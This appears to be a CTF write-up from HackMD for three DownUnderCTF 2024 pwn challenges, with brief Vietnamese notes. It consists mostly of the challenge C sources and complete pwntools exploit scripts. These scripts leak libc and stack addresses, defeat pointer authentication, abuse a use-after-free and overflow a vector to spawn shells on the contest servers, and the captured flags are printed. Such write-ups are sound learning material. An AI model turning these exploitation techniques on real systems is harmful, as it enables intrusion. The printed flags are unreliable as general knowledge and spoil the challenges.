Learn More →
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct {
char name[8];
void (*fptr)();
} builtin_func;
void ls() {
system("ls");
}
void read64() {
unsigned long* addr;
printf("read64> ");
scanf("%p", &addr);
printf("%8lx\n", *addr);
}
void write64() {
unsigned long* addr;
unsigned long val;
printf("write64> ");
scanf("%p %lx", &addr, &val);
*addr = val;
}
void help();
builtin_func BUILTINS[4] = {
{ .name = "help", .fptr = help },
{ .name = "ls", .fptr = ls },
{ .name = "read64", .fptr = read64 },
{ .name = "write64", .fptr = write64 },
};
void help() {
void (*f)();
for(int i = 0; i < 4; i++) {
f = BUILTINS[i].fptr;
__asm__("paciza %0\n" : "=r"(f) : "r"(f));
printf("%8s: %p\n", BUILTINS[i].name, f);
}
}
int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
void (*fptr)() = NULL;
puts("Welcome to pac shell v0.0.1");
help();
while(1) {
printf("pacsh> ");
scanf("%p", &fptr);
__asm__("autiza %0\n" : "=r"(fptr) : "r"(fptr));
(*fptr)();
}
}
paciza
khi nó là 1 hàm kiểu tạo "chữ kí số" cho 1 địa chỉ và autiza
là phân giải chữ kí đó
Learn More →
tạo 2 byte đầu tiên ngẫu nhiên cho mỗi lần chạy
Learn More →
cứ ow func nào cũng dc
void help() {
void (*f)();
for(int i = 0; i < 4; i++) {
f = BUILTINS[i].fptr;
__asm__("paciza %0\n" : "=r"(f) : "r"(f)); // đây nè
printf("%8s: %p\n", BUILTINS[i].name, f);
}
}
Learn More →
file pacsh_patched
set architecture aarch64
target remote :1234
b*main+136
b*main+144
b*main+156
b*read64+60
b*read64+84
b*write64+68
b*write64+72
b*write64+120
c
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF('pacsh_patched',checksec=False)
libc = ELF('./libc.so.6',checksec=False)
context.arch = 'aarch64'
# p = process(['qemu-aarch64', '-g' ,'1234' ,'./pacsh'])
p = remote('2024.ductf.dev',30027)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
p.recvuntil(b'v0.0.1\n')
p.recvuntil(b'help: ')
help_cmd = int(p.recvuntil(b'\n',drop=True),16)
p.recvuntil(b'ls: ')
ls_cmd = int(p.recvuntil(b'\n',drop=True),16)
p.recvuntil(b'read64: ')
read_cmd = int(p.recvuntil(b'\n',drop=True),16)
p.recvuntil(b'write64: ')
write_cmd = int(p.recvuntil(b'\n',drop=True),16)
info("help: " + hex(help_cmd))
info("ls: " + hex(ls_cmd))
info("read64: " + hex(read_cmd))
info("write64: " + hex(write_cmd))
exe.address = (help_cmd - exe.sym.help) & 0xffffffffffff
puts_got = exe.got.puts
context.log_level = 'debug'
# raw_input('Debug')
def write(addr, val):
sla(b'pacsh> ',hex(write_cmd))
sla(b'write64> ', hex(addr).encode() + b' ' + hex(val).encode())
def read(addr):
sla(b'pacsh> ',hex(read_cmd))
sla(b'read64> ', hex(addr).encode())
read(puts_got)
libc_leak = int(p.recvuntil(b'\n',drop=True),16)
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
binsh = next(libc.search(b'/bin/sh\0'))
system = exe.sym.system
mov_x0_x3 = libc.address + 0x0000000000099f40
ldr_x0_sp_0x60_ldp_x29_x30_sp_0x150 = libc.address + 0x00000000000d8854
info("ow: " + hex(ldr_x0_sp_0x60_ldp_x29_x30_sp_0x150))
#change ls -> rop
func = exe.sym.BUILTINS+8+0x10
read(libc.sym.environ)
stack_leak = int(p.recvuntil(b'\n',drop=True),16)
info("stack leak: " + hex(stack_leak))
stack_need = stack_leak - 0x198 + 0x50
need2 = stack_leak - 0x1a0
info("system: " + hex(need2))
info("binsh: " + hex(stack_need))
write(stack_need,binsh) #20e50
write(need2,system) #20f40
write(func, ldr_x0_sp_0x60_ldp_x29_x30_sp_0x150)
sla(b'pacsh> ',hex(help_cmd))
p.recvuntil(b'ls: ')
cast = int(p.recvuntil(b'\n',drop=True),16)
info("cast: " + hex(cast))
sla(b'pacsh> ',hex(cast))
p.interactive()
#DUCTF{did_you_just_bruteforce_the_pac?:(}
DUCTF{did_you_just_bruteforce_the_pac?:(}
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/random.h>
typedef struct {
long uid;
char username[8];
char password[8];
} user_t;
typedef struct user_entry user_entry_t;
struct user_entry {
user_t* user;
user_entry_t* prev;
user_entry_t* next;
};
user_entry_t user_list;
long UID = 1;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int menu() {
int choice;
puts("1. Sign up");
puts("2. Sign in");
puts("3. Remove account");
puts("4. Get shell");
printf("> ");
scanf("%d", &choice);
return choice;
}
void sign_up() {
user_t* user = malloc(sizeof(user_t));
user_entry_t* entry = malloc(sizeof(user_entry_t));
user->uid = UID++;
printf("username: ");
read(0, user->username, 8);
printf("password: ");
read(0, user->password, 8);
entry->user = user;
user_entry_t* curr = &user_list;
while(curr->next) {
curr = curr->next;
}
entry->prev = curr;
curr->next = entry;
}
void remove_account(int uid) {
user_entry_t* curr = &user_list;
do {
if(curr->user->uid == uid) {
if(curr->prev) {
curr->prev->next = curr->next;
}
if(curr->next) {
curr->next->prev = curr->prev;
}
free(curr->user);
free(curr);
break;
}
curr = curr->next;
} while(curr);
}
long sign_in() {
char username[9] = {0};
char password[9] = {0};
printf("username: ");
read(0, username, 8);
printf("password: ");
read(0, password, 8);
user_entry_t* curr = &user_list;
do {
if(memcmp(curr->user->username, username, 8) == 0 && memcmp(curr->user->password, password, 8) == 0) {
printf("Logging in as %s\n", username);
return curr->user->uid;
}
curr = curr->next;
} while(curr);
return -1;
}
int main() {
init();
long uid = -1;
user_t root = {
.uid = 0,
.username = "root",
};
if(getrandom(root.password, 8, 0) != 8) {
exit(1);
}
user_list.next = NULL;
user_list.prev = NULL;
user_list.user = &root;
while(1) {
int choice = menu();
if(choice == 1) {
sign_up();
} else if(choice == 2) {
uid = sign_in();
if(uid == -1) {
puts("Invalid username or password!");
}
} else if(choice == 3) {
if(uid == -1) {
puts("Please sign in first!");
} else {
remove_account(uid);
uid = -1;
}
} else if(choice == 4) {
if(uid == 0) {
system("/bin/sh");
} else {
puts("Please sign in as root first!");
}
} else {
exit(1);
}
}
}
return curr->user->uid;
#!/usr/bin/python3
from pwn import *
context.binary = exe = ELF("./sign-in")
if args.REMOTE:
p = remote("2024.ductf.dev", 30022)
else:
p = process([exe.path])
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*sign_up+232
b*remove_account+122
b*remove_account+134
b*remove_account+167
b*sign_in+207
c
''')
input()
def sign_up(name, psw):
sla(b"> ", b"1")
sa(b"username:", name)
sa(b"password:", psw)
def sign_in(name, psw):
sla(b"> ", b"2")
sa(b"username:", name)
sa(b"password:", psw)
def remove():
sla(b"> ", b"3")
GDB()
sign_up(b'bbbb',p64(0x402eb8))
sign_in(b'bbbb',p64(0x402eb8))
remove()
sign_up(b'bbbb',b'bbbb')
sign_in(p64(0),p64(0))
sla("> ", "4") #get_shell
p.interactive()
#DUCTF{welcome_root!_9dbfa98e17b7af9dbc1}
DUCTF{welcome_root!_9dbfa98e17b7af9dbc1}
#!/usr/bin/python3
from pwn import *
exe = ELF('./vector_overflow', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*0x4013eb
c
''')
input()
if args.REMOTE:
p = remote('2024.ductf.dev',30013)
else:
p = process(exe.path)
# GDB()
payload =b'DUCTF'
payload = payload.ljust(0x10,b'\0')
payload += p64(exe.sym.buf) + p64(exe.sym.buf+5)
p.sendline(payload)
p.interactive()
#DUCTF{y0u_pwn3d_th4t_vect0r!!}
DUCTF{y0u_pwn3d_th4t_vect0r!!}
or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up